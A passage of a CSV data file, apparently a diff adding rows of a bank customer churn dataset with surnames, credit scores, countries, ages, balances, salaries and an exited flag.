+3604,15772528,Mishin,750,France,Female,47,7,121376.15,2,1,0,54473.6,1 +3605,15755798,Feng,610,France,Male,33,4,111582.11,1,0,0,113943.17,0 +3606,15788683,Kang,588,Germany,Female,34,10,129417.82,1,1,0,153727.32,0 +3607,15616922,Kelly,479,France,Female,26,1,0,2,1,1,19116.97,0 +3608,15771855,Yu,682,France,Male,37,5,0,2,0,1,112554.68,0 +3609,15601873,Bull,677,France,Female,36,7,0,1,1,0,47318.75,0 +3610,15657868,Serra,850,Germany,Male,40,6,94607.08,1,1,0,36690.49,0 +3611,15711716,Ferguson,580,France,Female,56,1,131368.3,1,1,0,106918.67,1 +3612,15734246,She,746,France,Female,21,8,166883.07,2,0,1,194563.65,0 +3613,15792151,Hamilton,635,Spain,Female,37,3,0,2,1,0,91086.73,0 +3614,15770159,Nnanna,664,Germany,Male,25,6,172812.72,2,1,1,108008.65,0 +3615,15747649,Summerville,558,Germany,Female,36,0,126606.63,2,1,1,172363.52,0 +3616,15639357,Allan,415,France,Male,46,9,134950.19,3,0,0,178587.36,1 +3617,15738907,Tobenna,798,France,Female,60,6,96956.1,1,1,0,31907.44,1 +3618,15663446,Volkova,792,Germany,Female,29,4,107601.79,1,1,0,18922.18,1 +3619,15750867,Nucci,489,Germany,Female,46,8,92060.06,1,1,0,147222.95,1 +3620,15715939,Wright,730,France,Male,33,0,0,2,1,0,1474.79,0 +3621,15763806,Astorga,773,France,Male,41,4,0,2,1,1,24924.92,0 +3622,15637993,Pokrovsky,711,France,Male,36,9,137688.71,1,1,1,46884.1,0 +3623,15720338,Mazzanti,592,Spain,Male,55,8,85845.43,2,1,1,128918.42,0 +3624,15627162,Blesing,695,Germany,Male,27,6,125552.96,1,1,0,105291.26,0 +3625,15596710,Ku,640,France,Female,33,1,167298.42,1,0,1,145381.65,0 +3626,15781678,Pisani,470,Spain,Male,31,4,55732.92,2,1,1,103792.53,0 +3627,15634968,Hsueh,789,Germany,Female,37,6,110689.07,1,1,1,71121.04,1 +3628,15609475,Ricci,604,Spain,Female,39,7,98544.11,1,1,1,52327.57,0 +3629,15573319,Azubuike,493,Germany,Female,35,8,178317.6,1,0,0,197428.64,0 +3630,15738291,Nevzorova,671,France,Female,48,8,115713.84,2,0,0,83210.84,0 +3631,15782456,Odili,656,France,Male,46,9,143267.14,2,0,0,193099.43,0 +3632,15794841,Kung,739,Spain,Male,19,5,89750.21,1,1,0,193008.52,0 +3633,15684696,Lei,560,Spain,Female,26,3,116576.45,1,1,0,157567.37,0 +3634,15629846,Sheehan,827,Germany,Female,47,8,143001.5,2,1,0,108977.5,0 +3635,15674442,Kung,681,France,Male,23,7,157761.56,1,0,0,147759.84,0 +3636,15571689,Kelechi,740,France,Female,37,5,0,2,1,1,27528.4,0 +3637,15730469,Anenechi,663,Spain,Male,31,4,103430.11,2,0,1,36479.27,0 +3638,15809320,McElhone,845,Spain,Female,52,0,0,1,1,0,31726.76,1 +3639,15684367,Chigbogu,555,Spain,Male,27,5,0,2,0,0,96398.51,0 +3640,15793049,Atkins,680,Germany,Female,48,8,115115.38,1,1,0,139558.6,1 +3641,15603665,Colombo,638,Germany,Female,39,0,122501.28,2,1,1,95007.8,0 +3642,15613623,Tilley,640,Spain,Male,62,3,0,1,1,1,101663.47,0 +3643,15569572,Sopuluchi,778,France,Male,42,6,0,2,1,1,106197.44,0 +3644,15698791,Udinesi,679,France,Male,45,3,146758.24,1,1,0,48466.89,0 +3645,15626233,Onyekachi,593,France,Female,32,3,0,2,1,1,151978.36,0 +3646,15607263,McCartney,788,France,Male,55,3,0,1,0,1,13288.46,1 +3647,15610900,Thompson,770,France,Female,70,9,110738.89,1,1,0,22666.77,1 +3648,15624775,Onyeoruru,729,France,Male,67,2,94203.8,1,0,1,102391.06,0 +3649,15691703,Shih,545,France,Male,47,8,105792.49,1,0,1,67830.2,1 +3650,15745355,Golibe,597,France,Male,41,4,153198.23,1,1,1,92090.36,0 +3651,15724955,Lucchesi,537,France,Male,38,3,0,2,0,0,141023.01,0 +3652,15628999,Townsend,732,France,Male,79,10,61811.23,1,1,1,104222.8,0 +3653,15654341,Chao,542,France,Male,34,8,101116.06,1,1,0,196395.05,0 +3654,15744240,Shen,688,Germany,Female,46,0,74458.25,1,0,1,6866.31,0 +3655,15632365,Booth,542,Germany,Male,33,8,142871.27,2,0,0,77737.86,0 +3656,15729689,Chan,754,Germany,Male,35,6,98585.94,2,0,1,106116.84,0 +3657,15759284,Yeh,750,France,Female,37,6,0,1,1,1,117948,1 +3658,15602124,Badgery,731,France,Male,30,7,0,2,1,1,184581.68,0 +3659,15661903,Hsia,699,France,Female,43,3,80764.03,1,1,0,199378.58,1 +3660,15664668,Zarate,534,France,Female,42,9,144801.97,1,0,1,12483.39,1 +3661,15736431,Congreve,494,Spain,Male,27,2,0,2,1,0,22404.64,0 +3662,15748639,Hayslett,497,Germany,Male,35,7,110053.62,2,1,1,92887.06,0 +3663,15628123,Robinson,632,France,Female,28,5,118890.81,1,0,1,145157.97,0 +3664,15602731,Wong,724,France,Male,31,5,0,1,1,0,134889.95,1 +3665,15794137,Nevzorova,751,Germany,Female,37,0,151218.98,1,1,1,109309.29,0 +3666,15748696,Page,733,France,Male,42,9,150507.21,1,0,1,169964.12,0 +3667,15725068,Quinn,701,Spain,Female,21,9,0,2,1,1,26327.42,0 +3668,15807340,O'Donnell,525,Germany,Male,33,4,131023.76,2,0,0,55072.93,0 +3669,15586133,Pisano,666,Germany,Female,44,2,122314.5,1,0,0,68574.88,1 +3670,15576185,Sinclair,653,France,Male,29,2,0,2,1,1,41671.81,0 +3671,15660809,Loving,850,France,Male,28,4,0,2,1,1,12409.01,0 +3672,15616666,Artemova,646,Germany,Female,52,6,111739.4,2,0,1,68367.18,0 +3673,15706904,Robertson,750,France,Male,43,6,113882.31,1,1,1,74564.41,0 +3674,15606915,Genovese,764,France,Male,24,7,98148.61,1,1,0,26843.76,0 +3675,15749693,Ugonnatubelum,658,France,Female,32,9,0,2,1,0,156774.75,0 +3676,15791743,Corbett,727,France,Male,32,1,59271.82,1,1,1,46019.43,0 +3677,15796480,Reilly,687,France,Female,31,2,0,2,0,1,145411.39,0 +3678,15790442,Wright,631,Spain,Male,33,2,0,2,1,1,158268.84,0 +3679,15609458,Vincent,797,France,Male,30,10,69413.44,1,1,1,74637.57,0 +3680,15593897,Carr,650,Spain,Male,25,7,160599.06,2,1,1,28391.52,0 +3681,15604576,Eiland,850,Spain,Male,22,3,0,1,1,1,144385.54,0 +3682,15666270,Omeokachie,676,France,Female,40,2,147803.48,1,1,0,95181.06,1 +3683,15572626,Mackenzie,620,Spain,Male,44,8,0,2,1,1,15627.51,0 +3684,15727197,Pinto,576,France,Female,52,9,170228.59,2,0,0,148477.57,1 +3685,15714006,Gardener,482,France,Female,35,2,133111.73,1,0,1,79957.95,0 +3686,15642137,Fang,695,Spain,Female,39,5,0,2,0,0,102763.69,0 +3687,15665327,Cattaneo,706,France,Male,18,2,176139.5,2,1,0,129654.22,0 +3688,15626806,Labrador,668,France,Female,32,2,0,2,1,1,40652.33,0 +3689,15662578,Dettmann,679,Germany,Male,35,1,110245.13,1,1,1,178291.09,0 +3690,15790829,Gibson,703,France,Female,45,5,0,2,1,0,131906.44,0 +3691,15654959,Hope,670,Spain,Male,67,6,158719.57,1,1,1,118607.4,0 +3692,15760244,Ives,590,France,Female,76,5,160979.68,1,0,1,13848.58,0 +3693,15715394,Greece,613,Spain,Male,35,4,123557.65,2,0,1,170903.4,0 +3694,15722246,Omeokachie,742,France,Female,60,4,0,1,1,1,13161.66,1 +3695,15609704,Mao,608,France,Female,33,4,0,1,1,0,79304.38,1 +3696,15757628,Savage,571,France,Male,40,10,112896.86,1,1,1,121402.53,0 +3697,15633586,Brierly,595,France,Female,39,7,120962.13,1,0,0,23305.01,0 +3698,15565796,Docherty,745,Germany,Male,48,10,96048.55,1,1,0,74510.65,0 +3699,15717935,McDonald,589,France,Female,21,3,0,2,0,1,55601.44,0 +3700,15577700,Rapuokwu,749,France,Male,37,10,185063.7,2,1,1,134526.87,0 +3701,15747345,Bergamaschi,678,France,Female,22,6,118064.93,2,1,1,195424.01,0 +3702,15678317,Manfrin,603,France,Male,46,2,0,2,1,1,59563.49,0 +3703,15698335,Bergamaschi,504,France,Female,73,8,0,1,1,1,34595.58,0 +3704,15768451,MacDonald,739,Germany,Male,40,5,149131.03,3,1,1,60036.99,1 +3705,15753213,Lees,604,France,Female,34,7,0,2,1,0,193021.49,0 +3706,15769645,Senior,612,France,Female,35,3,0,1,1,1,48108.72,0 +3707,15657565,Nwokezuike,629,Spain,Female,44,6,125512.98,2,0,0,79082.76,0 +3708,15620323,Ekwueme,652,Spain,Female,42,3,83492.07,2,1,0,37914.12,0 +3709,15679983,Garmon,565,France,Male,34,7,0,1,0,0,74593.84,0 +3710,15812616,Enyinnaya,707,France,Female,49,10,0,1,1,0,82967.97,1 +3711,15601796,Chizuoke,645,France,Male,30,1,125739.26,1,1,1,193441.23,0 +3712,15729489,Hyde,762,Germany,Female,34,8,98592.88,1,0,1,191790.29,1 +3713,15613216,Cameron,639,Spain,Female,39,1,141789.15,1,1,0,92455.96,0 +3714,15657937,Lord,709,Germany,Male,22,0,112949.71,1,0,0,155231.55,0 +3715,15815428,Biryukova,823,France,Male,34,3,105057.33,1,1,0,9217.92,0 +3716,15640409,Carpenter,817,Germany,Female,46,0,89087.89,1,0,1,87941.85,1 +3717,15699492,Lorenzo,665,Germany,Female,27,2,147435.96,1,0,0,187508.06,0 +3718,15623536,Madukwe,646,Germany,Male,39,0,154439.86,1,1,0,171519.06,0 +3719,15707551,Hutcheon,568,France,Male,30,8,73054.37,2,1,1,27012,0 +3720,15577999,Sleeman,850,France,Female,62,1,124678.35,1,1,0,70916,1 +3721,15788775,Milne,473,Germany,Male,40,8,152576.25,2,1,0,73073.68,0 +3722,15758362,Williamson,731,France,Female,41,9,152243.57,1,1,1,88783.59,0 +3723,15807961,Bruno,619,France,Male,25,4,0,1,1,0,145524.36,0 +3724,15710978,Palerma,715,Germany,Male,42,2,88120.97,2,1,1,21333.22,0 +3725,15703541,Wang,772,Germany,Female,51,9,143930.92,1,0,1,46675.51,1 +3726,15626474,Onyemere,686,France,Female,31,1,0,2,1,0,4802.25,0 +3727,15608344,Dawson,749,Germany,Female,29,7,137059.05,3,1,0,102975.72,1 +3728,15768367,Nebechukwu,781,France,Female,27,7,186558.55,1,1,1,175071.29,1 +3729,15806210,Bateman,675,Spain,Male,66,5,115654.47,2,1,1,131970.86,0 +3730,15697702,Lord,730,Spain,Male,29,2,0,2,1,0,14174.09,0 +3731,15689152,Loggia,683,Spain,Male,38,3,126152.84,1,0,0,15378.75,0 +3732,15568573,Graham,554,Germany,Female,51,7,105701.91,1,0,1,179797.79,1 +3733,15689598,Dean,722,France,Male,46,6,0,1,1,1,93917.68,1 +3734,15713374,Jarvis,689,Germany,Male,67,9,157094.78,1,1,1,99490.01,0 +3735,15679733,Haugh,796,Germany,Male,40,2,113228.38,2,1,1,46415.09,0 +3736,15759274,Micklem,447,France,Female,32,10,0,1,1,1,151815.76,0 +3737,15607748,Bennett,498,Germany,Male,37,8,108432.88,2,1,1,14865.05,0 +3738,15607577,Roberts,663,Spain,Male,27,8,0,1,1,1,188007.99,0 +3739,15813697,Onyekaozulu,498,Germany,Female,44,2,120702.67,2,1,1,98175.74,0 +3740,15801125,Kegley,627,France,Female,32,1,0,1,1,0,106851.7,0 +3741,15777855,Manna,649,France,Male,45,7,0,2,0,1,75204.21,0 +3742,15635396,Thompson,738,Germany,Female,29,9,139106.19,1,1,0,141872.05,1 +3743,15698031,Romano,587,Germany,Female,39,6,101851.8,2,1,0,7103.71,0 +3744,15678944,Brown,655,Germany,Female,32,6,130935.56,1,1,0,9241.83,1 +3745,15718507,Su,647,Germany,Male,37,3,116509.99,1,1,1,149517.71,1 +3746,15808334,Mackay,776,Germany,Female,37,1,93124.04,2,1,1,196079.32,0 +3747,15804709,Watt,688,Germany,Male,35,5,111578.18,1,0,0,166165.93,1 +3748,15645835,Milani,605,France,Male,32,9,0,2,1,1,55724.24,0 +3749,15738166,Hsu,596,France,Female,39,10,86546.29,1,0,1,131768.98,0 +3750,15675360,Valenzuela,427,France,Male,33,8,0,1,1,1,13858.95,0 +3751,15793042,Sung,629,France,Male,39,2,129669.32,2,1,0,82774.07,0 +3752,15630106,Lo,496,Spain,Male,29,2,0,2,1,0,55389.59,0 +3753,15810385,Giordano,717,Spain,Female,36,2,164557.95,1,0,1,82336.73,0 +3754,15578211,Connolly,777,France,Male,23,6,0,2,1,1,163225.48,0 +3755,15572792,Bellucci,535,Spain,Male,35,8,118989.92,1,1,1,135536.72,0 +3756,15620030,Jamieson,744,France,Male,29,1,0,1,0,0,82422.97,0 +3757,15783541,Fomina,755,France,Male,31,5,0,2,0,1,194660.78,0 +3758,15679284,Aksenov,593,Spain,Female,45,6,79259.75,1,1,0,55347.28,0 +3759,15582910,Turnbull,514,France,Male,38,4,112230.38,1,1,0,16717.11,1 +3760,15688337,Dixon,721,France,Male,40,9,118129.87,1,1,1,160277.65,0 +3761,15734970,White,835,Spain,Male,38,7,86824.09,1,0,0,175905.97,0 +3762,15759140,Long,682,France,Female,64,10,128306.7,1,0,1,66040.83,0 +3763,15643042,Han,590,Germany,Female,40,2,117641.43,2,0,0,92198.05,0 +3764,15773868,Belov,653,Germany,Female,37,3,125734.2,2,1,0,134625.09,1 +3765,15615820,MacDonald,837,France,Male,49,8,103302.37,1,1,1,50974.57,0 +3766,15730273,Parsons,841,France,Male,27,8,0,1,1,0,171922.72,0 +3767,15724890,Cross,584,Spain,Male,36,4,82696.09,2,0,0,83058.14,0 +3768,15765952,Milanesi,769,France,Male,29,4,145471.37,1,1,0,188382.77,0 +3769,15685920,Lombardo,599,Spain,Male,34,2,101506.66,1,0,0,198030.24,0 +3770,15663263,Collins,698,France,Male,47,5,156265.31,2,0,0,1055.66,0 +3771,15568953,Alexeieva,477,France,Male,27,1,128554.98,1,1,1,133173.19,0 +3772,15643361,Cullen,477,Germany,Male,34,8,139959.55,2,1,1,189875.83,0 +3773,15699486,Johnson,745,Spain,Male,34,7,132944.53,1,1,1,31802.92,0 +3774,15747854,Rudd,749,France,Female,35,3,0,3,1,1,132649.85,0 +3775,15691785,Findlay,850,France,Male,61,1,0,1,1,0,53067.83,1 +3776,15709004,Mai,528,Germany,Male,22,5,93547.23,2,0,1,961.57,0 +3777,15652218,Morrison,750,France,Male,33,2,152302.72,1,1,0,71333.44,0 +3778,15697127,Monaldo,543,France,Female,31,2,147674.26,1,1,1,16658.76,0 +3779,15658486,Gidney,579,Spain,Female,59,3,148021.12,1,1,1,74878.22,0 +3780,15694160,Sagese,624,France,Male,37,0,0,2,0,0,112104.55,0 +3781,15685290,Wall,595,Germany,Male,46,5,142360.62,2,1,0,48421.4,1 +3782,15701042,Dalton,596,Germany,Female,27,2,151027.56,1,1,0,170320.58,0 +3783,15680449,Hsing,431,Germany,Female,44,2,138843.7,1,1,0,37688.31,1 +3784,15599860,Warner,647,Spain,Female,26,8,109958.15,1,1,1,136592.24,1 +3785,15723169,Williams,640,France,Female,31,9,138857.59,1,1,0,48640.77,0 +3786,15803842,Dunn,752,Germany,Female,45,3,105426.5,2,0,1,89773.45,0 +3787,15728224,Kerr,710,Germany,Female,41,9,149155.53,2,1,0,42131.26,1 +3788,15644174,Marchesi,638,Germany,Male,27,4,135096.05,1,1,1,186523.72,1 +3789,15707110,Endrizzi,660,Germany,Male,28,2,170890.05,2,1,0,41758.9,0 +3790,15765415,King,609,Spain,Female,45,4,89122.3,1,1,1,199256.98,0 +3791,15756751,Griffiths,596,Spain,Female,54,0,78126.28,1,1,1,153482.91,1 +3792,15795151,Hartzler,705,France,Female,38,3,123894.43,1,1,0,21177.1,0 +3793,15632859,Chukwudi,444,France,Male,36,7,0,2,0,1,138743.86,0 +3794,15584037,Denisov,727,Germany,Male,58,5,106913.43,1,1,0,25881,1 +3795,15621409,Endrizzi,496,France,Male,32,4,127845.83,1,1,0,66469.2,0 +3796,15581102,Baresi,554,France,Female,22,8,0,2,0,1,142670.61,0 +3797,15578096,Nnachetam,537,France,Male,26,7,106397.75,1,0,0,103563.23,0 +3798,15669887,Lambert,839,France,Female,51,3,0,1,1,1,69101.23,1 +3799,15621834,Game,700,Spain,Female,43,0,0,2,1,0,59475.35,0 +3800,15655341,Chinagorom,458,Spain,Female,35,5,166492.48,1,1,0,135287.74,0 +3801,15685314,Noble,850,France,Female,28,2,0,2,1,1,38773.74,0 +3802,15653997,Haynes,699,Spain,Male,31,6,114493.68,1,0,0,138396.32,0 +3803,15629551,Cattaneo,615,Germany,Female,44,9,126104.98,2,0,1,110718.02,0 +3804,15651264,Yobanna,850,Germany,Male,51,4,124425.99,1,0,0,118545.49,1 +3805,15760825,Fraser,604,France,Female,40,1,0,2,1,0,123207.17,0 +3806,15597394,Rhodes,668,Spain,Male,34,0,0,1,0,0,99984.86,0 +3807,15740383,Jimenez,594,Spain,Female,38,10,0,2,1,0,58332.91,0 +3808,15670562,Pharr,470,France,Male,30,3,101140.76,1,1,1,50906.65,0 +3809,15698117,Jerger,701,Germany,Male,41,0,150844.94,1,0,1,127623.36,0 +3810,15694805,McIntyre,664,Spain,Male,35,1,115024.5,1,0,1,169665.79,0 +3811,15746802,Onio,477,France,Female,30,6,131286.46,1,1,0,194144.45,0 +3812,15589428,Tomlinson,756,France,Female,42,9,0,2,1,0,35673.42,0 +3813,15790267,Onuoha,625,France,Female,40,7,141267.67,1,0,1,177397.49,0 +3814,15665402,Panicucci,703,Spain,Male,73,5,137761.55,1,1,1,159677.46,0 +3815,15642093,Piccio,646,France,Male,30,7,0,2,1,0,153566.97,0 +3816,15666181,Ramsden,650,France,Male,33,0,98064.97,1,1,0,52411.99,0 +3817,15602554,Vorobyova,664,France,Female,31,9,114519.57,2,0,1,79222.02,0 +3818,15724251,Todd,682,Germany,Female,29,6,101012.77,1,0,0,32589.89,1 +3819,15740147,Cremonesi,725,France,Female,44,10,0,1,0,1,93777.61,0 +3820,15718289,Bradley,553,Germany,Male,46,3,82291.1,1,1,0,112549.99,1 +3821,15763148,Stanley,576,France,Male,39,9,84719.98,1,0,0,191063.36,0 +3822,15685245,Jowett,608,Spain,Female,56,5,0,2,0,1,153810.41,0 +3823,15626985,Yefremova,850,France,Female,39,0,104386.53,1,1,0,105886.77,0 +3824,15585823,Wilson,627,France,Male,31,8,128131.73,1,1,0,96131.47,0 +3825,15728167,Abramovich,667,France,Male,44,2,122806.95,1,0,0,15120.86,0 +3826,15762928,Venables,548,Spain,Male,44,8,0,1,1,0,16989.77,0 +3827,15751774,Monnier,774,France,Male,76,4,112510.89,1,1,1,143133.18,0 +3828,15654733,Hsieh,794,Germany,Male,57,3,117056.46,1,1,0,93336.93,1 +3829,15809777,Gadsden,497,Germany,Female,55,7,131778.66,1,1,1,9972.64,0 +3830,15744200,Ni,587,France,Female,36,1,70784.27,1,1,0,30579.82,0 +3831,15720713,Chibueze,850,France,Female,29,10,0,2,1,1,199775.67,0 +3832,15695356,Chinwemma,722,France,Male,46,5,0,2,1,0,179908.71,0 +3833,15653315,Kang,555,Spain,Female,35,1,0,2,1,0,101667,0 +3834,15604792,Kuo,609,Germany,Male,38,6,140752.06,2,0,1,171430.16,0 +3835,15704819,Ositadimma,734,Spain,Female,39,6,92126.26,2,0,0,112973.34,0 +3836,15670859,Smith,718,Germany,Female,39,7,93148.74,2,1,1,190746.38,0 +3837,15602797,Okwudilichukwu,645,Spain,Female,49,5,110132.55,3,0,1,187689.91,1 +3838,15662533,Porter,598,Spain,Female,23,6,0,2,1,0,153229.19,0 +3839,15778154,Kung,628,Germany,Male,50,4,122227.71,1,0,1,14217.77,1 +3840,15806230,Trevisano,629,Germany,Male,40,2,121647.54,2,1,1,64849.74,1 +3841,15662884,Naylor,739,Germany,Male,58,1,110597.76,1,0,1,160122.66,1 +3842,15750778,Ponomarev,653,France,Female,60,2,120731.39,4,1,1,138160.11,1 +3843,15717185,Udinese,711,France,Male,28,8,0,2,1,1,64286.39,0 +3844,15677804,Aliyeva,783,Spain,Male,38,1,0,3,1,1,80178.54,1 +3845,15568915,Bailey,681,France,Male,38,6,153722.47,1,1,0,101319.76,0 +3846,15736495,Jackson,712,France,Male,34,8,114088.32,1,1,0,92794.61,0 +3847,15737354,Yin,554,France,Female,48,7,0,2,1,1,63708.07,0 +3848,15667889,Akobundu,611,France,Female,37,6,0,2,1,0,110782.88,0 +3849,15577831,Byrne,560,Germany,Male,41,4,152532.3,1,0,0,10779.69,0 +3850,15729836,Robinson,646,Spain,Male,32,1,0,2,1,0,183289.22,0 +3851,15775293,Stephenson,680,France,Male,34,3,143292.95,1,1,0,66526.01,0 +3852,15697597,Chiemenam,631,France,Male,26,1,149144.61,1,0,1,123697.95,0 +3853,15639669,Forbes,746,France,Male,36,9,127157.04,1,1,1,155700.15,0 +3854,15631392,Douglas,654,Germany,Male,43,9,84673.17,2,0,1,82081.35,0 +3855,15580935,Okechukwu,687,Germany,Male,33,9,135962.4,2,1,0,121747.96,0 +3856,15590344,Russell,708,Germany,Male,32,3,151691.44,2,1,1,172810.51,0 +3857,15653306,Ermakova,679,Germany,Female,32,0,88335.05,1,0,0,159584.81,0 +3858,15805025,Oster,636,France,Female,45,7,139859.23,1,1,1,108402.54,0 +3859,15658449,Chizoba,695,France,Male,45,9,43134.65,1,0,1,77330.35,0 +3860,15694450,Bianchi,677,France,Male,42,5,99580.13,1,1,0,21007.96,0 +3861,15605666,Peyser,720,France,Female,34,6,110717.38,1,1,1,9398.45,0 +3862,15615126,Cocci,780,France,Female,37,3,0,2,0,0,182156.81,1 +3863,15726588,Seleznev,653,Spain,Female,36,3,0,2,0,0,110525.6,0 +3864,15645095,Huang,674,France,Female,28,3,0,1,1,0,51536.99,0 +3865,15808960,Alleyne,620,Germany,Male,40,5,108197.11,2,1,0,49722.34,0 +3866,15729435,McKenzie,623,France,Male,40,6,0,2,1,1,66119.07,0 +3867,15656840,Zikoranachukwudimma,547,France,Female,29,6,104450.86,1,1,1,37160.28,0 +3868,15659149,King,530,France,Male,39,2,0,2,1,0,197923.05,0 +3869,15585490,Nkemdilim,746,France,Female,34,4,0,1,0,1,65166.6,0 +3870,15674929,Anderson,512,France,Female,31,7,0,2,0,0,49326.07,0 +3871,15746341,Ejikemeifeuwa,630,France,Male,40,8,0,2,1,1,42495.81,0 +3872,15662091,Adams,570,Spain,Male,21,7,116099.82,1,1,1,148087.62,0 +3873,15620123,Christie,605,France,Male,39,6,111169.91,1,0,0,9641.4,0 +3874,15616240,Yeh,530,Spain,Male,37,4,0,2,1,1,164844.37,0 +3875,15624186,McGregor,813,Germany,Female,25,5,123616.43,1,0,1,132959.33,0 +3876,15605036,Pisano,704,Spain,Female,37,9,155619.58,1,1,1,135088.58,0 +3877,15805151,Ginikanwa,565,Germany,Male,31,2,89558.39,2,1,1,4441.54,0 +3878,15753847,Hawkins,645,Spain,Male,45,4,0,1,0,1,174916.85,1 +3879,15653222,Otutodilichukwu,526,Germany,Female,32,6,131938.92,2,1,1,1795.93,0 +3880,15757541,Rickard,778,France,Female,33,9,151772.63,2,0,0,180249.94,1 +3881,15726945,Andreev,677,France,Female,72,8,0,2,1,1,153604.44,0 +3882,15794276,Steele,588,France,Female,64,3,0,1,1,1,189703.65,0 +3883,15568328,Black,488,France,Female,22,6,0,2,1,1,66393.89,0 +3884,15604355,Shand,519,France,Male,39,1,97700.02,1,1,1,30709.03,0 +3885,15735788,Chiagoziem,709,France,Male,31,6,0,2,1,1,71009.84,0 +3886,15618255,Fedorov,642,Germany,Female,56,6,103244.86,2,1,0,143049.72,1 +3887,15720941,Tien,710,Germany,Male,34,8,147833.3,2,0,1,1561.58,0 +3888,15769110,Stehle,653,France,Female,46,5,0,2,1,0,49707.85,0 +3889,15576094,Sung,743,France,Male,71,0,0,2,0,1,29837.65,0 +3890,15756150,Alexander,418,France,Female,39,2,0,2,0,0,9041.71,0 +3891,15719579,McIntosh,670,Germany,Female,33,9,84521.48,2,0,1,198017.05,0 +3892,15748854,Sung,723,Germany,Female,28,5,91938.31,1,1,0,143481.85,0 +3893,15612455,Yao,549,Germany,Male,45,6,124240.93,1,1,1,146372.51,0 +3894,15664802,Chinweuba,543,France,Female,42,5,0,2,0,0,101905.34,0 +3895,15735687,Chinweuba,595,Spain,Male,37,2,157084.99,1,1,0,134767.13,0 +3896,15664734,T'ao,673,Germany,Female,25,3,108244.82,2,1,1,103573.96,0 +3897,15767894,Ch'ien,741,France,Female,21,9,0,2,0,1,139259.54,0 +3898,15666884,Su,508,Germany,Female,41,5,82161.7,2,1,0,187776.49,0 +3899,15750156,Yu,662,Germany,Male,59,2,104568.41,1,1,0,8059.44,1 +3900,15751120,Loyau,752,France,Female,36,2,119912.46,1,1,0,124354.92,0 +3901,15575748,Conti,809,France,Male,36,9,68881.59,2,0,1,109135.11,0 +3902,15714610,Alexeeva,575,Spain,Male,30,2,0,2,1,1,82222.86,0 +3903,15720305,Power,591,Spain,Female,40,1,86376.29,1,0,1,136767.16,1 +3904,15678129,Hill,643,Spain,Female,45,9,150840.03,2,1,0,155516.35,0 +3905,15566633,Freeman,698,Germany,Male,55,8,155059.1,2,1,1,144584.29,0 +3906,15680436,Hsing,496,France,Female,29,4,0,2,1,0,164806.89,0 +3907,15674343,Esposito,597,France,Male,44,8,78128.13,2,0,1,109153.04,0 +3908,15658890,Belonwu,603,Germany,Male,46,4,98899.76,2,1,1,86190.34,0 +3909,15599004,Tsao,655,Spain,Male,37,1,0,1,1,1,106040.97,0 +3910,15726487,P'eng,431,France,Male,63,6,160982.89,1,1,1,168008.17,0 +3911,15698716,Baker,620,France,Female,70,3,87926.24,2,1,0,33350.26,1 +3912,15710527,Matthews,782,France,Female,35,4,0,1,1,1,119565.34,0 +3913,15655590,Garcia,581,Spain,Male,46,2,79385.21,2,0,0,188492.82,0 +3914,15732266,Field,553,Germany,Male,53,5,127997.83,1,1,0,165378.66,1 +3915,15669326,Gordon,658,France,Male,44,2,168396.34,1,1,1,14178.73,0 +3916,15672246,Jefferies,686,Germany,Male,43,2,134896.03,1,1,1,97847.05,0 +3917,15620276,Palermo,539,Spain,Male,36,6,0,3,1,1,118959.64,0 +3918,15640258,Chou,685,France,Female,50,6,94238.75,2,1,1,50664.07,1 +3919,15740283,Ewing,850,France,Male,29,1,0,2,0,0,152996.89,0 +3920,15759717,Mazzi,763,Spain,Female,39,7,0,2,1,0,19458.75,0 +3921,15620268,Thomson,634,Germany,Male,43,3,212696.32,1,1,0,115268.86,0 +3922,15743871,Nkemdirim,567,France,Male,59,3,0,2,1,0,25843.7,1 +3923,15614491,Lockyer,539,France,Male,39,3,139153.68,2,1,0,147662.33,0 +3924,15595047,Murray,764,France,Male,41,7,0,2,0,0,134878.34,0 +3925,15732334,Black,653,France,Female,40,0,0,2,1,0,35795.85,0 +3926,15701206,Torreggiani,566,Spain,Male,44,5,0,2,1,0,66462.79,0 +3927,15581280,Atkinson,714,Germany,Male,29,6,92887.13,1,1,1,69578.49,0 +3928,15651943,Richards,580,Spain,Female,65,1,0,2,0,1,103182.46,0 +3929,15609545,Azubuike,548,France,Male,29,5,83442.98,1,0,1,177017.39,0 +3930,15658548,Ignatiev,646,Germany,Female,36,6,144773.29,2,1,0,53217.3,0 +3931,15626008,Miller,622,Germany,Female,52,9,111973.97,1,1,1,162756.29,1 +3932,15774133,Cox,706,France,Female,35,8,178032.53,1,0,1,42181.68,0 +3933,15763798,McMillan,680,France,Male,23,5,140007.19,1,0,1,31714.08,0 +3934,15758013,Napolitano,698,France,Male,37,5,98400.61,2,0,0,25017.28,0 +3935,15705765,Lane,581,Spain,Female,46,1,0,2,1,0,104272.04,0 +3936,15648362,Kennedy,728,Germany,Male,45,3,108924.33,2,1,0,84300.4,1 +3937,15761102,T'ao,707,Spain,Female,32,4,132835.56,1,0,0,136877.24,0 +3938,15610165,Hsiung,761,France,Female,26,1,0,2,1,1,199409.19,0 +3939,15723717,Heath,483,Germany,Male,41,1,118334.44,1,0,0,163147.99,1 +3940,15654611,Parry,736,Germany,Female,25,9,81732.88,2,1,0,136497.28,0 +3941,15659736,Herbert,716,Germany,Male,66,5,121411.9,1,0,0,10070.4,1 +3942,15603170,Kang,654,France,Male,32,9,121455.65,1,1,0,190068.53,1 +3943,15786167,Andreyeva,649,Spain,Male,20,5,0,2,1,1,58309.54,0 +3944,15671915,Bowen,649,France,Male,46,5,0,2,1,1,76946.6,0 +3945,15794792,Golubev,612,France,Female,31,8,117989.76,1,1,1,54129.86,0 +3946,15652789,Hancock,657,Spain,Male,40,10,0,2,1,1,52990.7,0 +3947,15739168,Fowler,511,France,Female,31,5,137411.29,1,0,1,161854.98,0 +3948,15719950,Sutherland,682,France,Male,61,10,73688.2,1,1,1,172141.33,0 +3949,15743818,Rowley,748,Spain,Male,58,9,122330.7,2,0,1,124429.19,0 +3950,15717937,Gibbons,554,Germany,Male,43,5,99906.89,1,0,0,24983.39,0 +3951,15602841,Lockett,794,Spain,Female,28,5,0,2,0,1,86699.98,0 +3952,15619972,Akabueze,807,France,Female,47,9,167664.83,1,0,0,125440.11,1 +3953,15796114,Phelps,594,France,Female,34,7,141525.55,1,0,0,9443.15,0 +3954,15633546,Frederick,652,Spain,Female,33,3,124832.51,1,1,0,195877.06,0 +3955,15758755,Beneventi,729,France,Female,34,9,132121.71,1,0,1,105409.31,0 +3956,15695168,Bruce,625,France,Male,39,2,0,2,1,0,100403.05,0 +3957,15754342,Green,597,Germany,Female,60,0,78539.84,1,0,1,48502.88,0 